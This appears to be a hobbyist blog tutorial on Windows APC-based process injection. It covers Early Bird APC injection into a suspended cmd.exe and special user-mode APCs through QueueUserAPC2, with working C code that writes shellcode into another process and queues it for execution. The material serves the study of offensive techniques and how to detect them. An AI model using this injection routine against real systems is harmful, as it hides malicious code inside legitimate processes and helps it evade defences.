Early Bird & Special APC
Early Bird APC Injection
So what's is Early Bird APC Injection? how is it different than APC Injection ? The answer is simple, here instead of creating a suspended thread, we create a suspended process (note that the main thread will also be in suspended state) and then queue the APC call pointing to the allocated memory for our shellcode. The code is really simple, we can create a suspended process by providing the CREATE_SUSPENDED
flag to the CreateProcessA
API.
VOID earlyBirdAPC() {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HANDLE hProcess = pi.hProcess,
hThread = pi.hThread;
LPVOID pAddr = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pAddr == NULL) {
exit(2);
}
WriteProcessMemory(hProcess, pAddr, shellcode, sizeof(shellcode), 0);
QueueUserAPC(pAddr, hThread, NULL);
ResumeThread(hThread);
}

Note that since the thread was is suspended state, it directly runs all of the APC routine (which is just 1 in our case) and exits which is why we don't see a CMD spawn, if we look at it using Process Hacker , we can see that the cmd.exe is created in suspended state, but it exits after the calculator has been spawned. I had to use getchar()
to be able to screenshot the suspended Process & Thread and here it is

note that the main thread is the thread of the actual malicious process and not the victim process.
if you want to go deep into this then you can surely checkout repnz's blog on it, he has explained it in more depth.
Special APC (Bonus)
This MSDN Page talks about different types of APC's and we see that there is another special user-mode APC. We can use the QueueUserAPC2
function with a special flag to make our APC "special".
Special user-mode APCs always execute, even if the target thread is not in an alertable state. For example, if the target thread is currently executing user-mode code, or if the target thread is currently performing an alertable wait, the target thread will be interrupted immediately for APC execution. If the target thread is executing a system call, or performing a non-alertable wait, the APC will be executed after the system call or non-alertable wait finishes (the wait is not interrupted).
I genuinely don't know why it does work on Windows 10 even though the minimum support client version is Windows 11 Build 22000 given on QueueUserAPC2 page. But if it does, it does and so I'll show you how it works practically.
Important Note : Please avoid using this APC with legitimate processes, unless you do you, because it makes the thread interrupt immediately which may crash your PC.
Anyways, looking at the function, it is very similar to its prequel and it seems that it acts just like a normal APC if don't pass any flags, and for special APC, we can pass the QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC
flag which is just a 1.
BOOL QueueUserAPC2(
PAPCFUNC ApcRoutine,
HANDLE Thread,
ULONG_PTR Data,
QUEUE_USER_APC_FLAGS Flags
);
typedef enum _QUEUE_USER_APC_FLAGS {
QUEUE_USER_APC_FLAGS_NONE,
QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC,
QUEUE_USER_APC_CALLBACK_DATA_CONTEXT
} QUEUE_USER_APC_FLAGS;
// Below is from processthreadsapi.h
QUEUE_USER_APC_FLAGS_NONE = 0x00000000,
QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC = 0x00000001,
//
// Used for requesting additional callback data.
//
QUEUE_USER_APC_CALLBACK_DATA_CONTEXT = 0x00010000, // 65536
To give an example of how the thread execution is stopped immediately, I wrote a small function that will keep a thread busy for a while. It was important because the thread finished its execution even before I could queue the APC call.
VOID noAleeert() {
info("Thread ID noAlert : %d", GetCurrentThreadId());
for (size_t i = 0; i < 50000; i++) {
// If printing these many is unfavorable then
// Loop till 50, with a Sleep(1) or below 30 imo
// Sleep(1);
printf(" %d ",i);
}
}
QueueUserAPC2(shellcode, hThread, NULL, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC);
We see that even though the thread was supposed to execute a long loop but it was stopped in the middle of its execution to run our special APC.

Also another thing to note is that the thread does resume it's execution after it has finished running the special APC. In our case, it could be the shellcode that causes it to exit immediately (This is just my guess, if you know then please reach out to me). We can see this with another example, here I will have a global variable COUNT
which I will reset using the special APC. This also shows how the APC can disrupt the normal execution and change the data.
SIZE_T COUNT = 5;
VOID testt() {
info("I ran because im special");
COUNT = 0;
}
//
QueueUserAPC2((PAPCFUNC)testt, hThread, NULL, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC);

We can see that the thread stops execution at 13, runs the special APC, and then continues its execution again until 35 at which the loop ends (14 + 36 = 50).
That's it for now, this was the 2nd part of the APC Injection. I did felt like I should break it into 2 parts. Anyways, I am going to talk about syscalls next and also hooking/unhooking functions. It's a bit hard to squeeze out time for my hobby now, but I'll keep doing it.
References
Last updated
Was this helpful?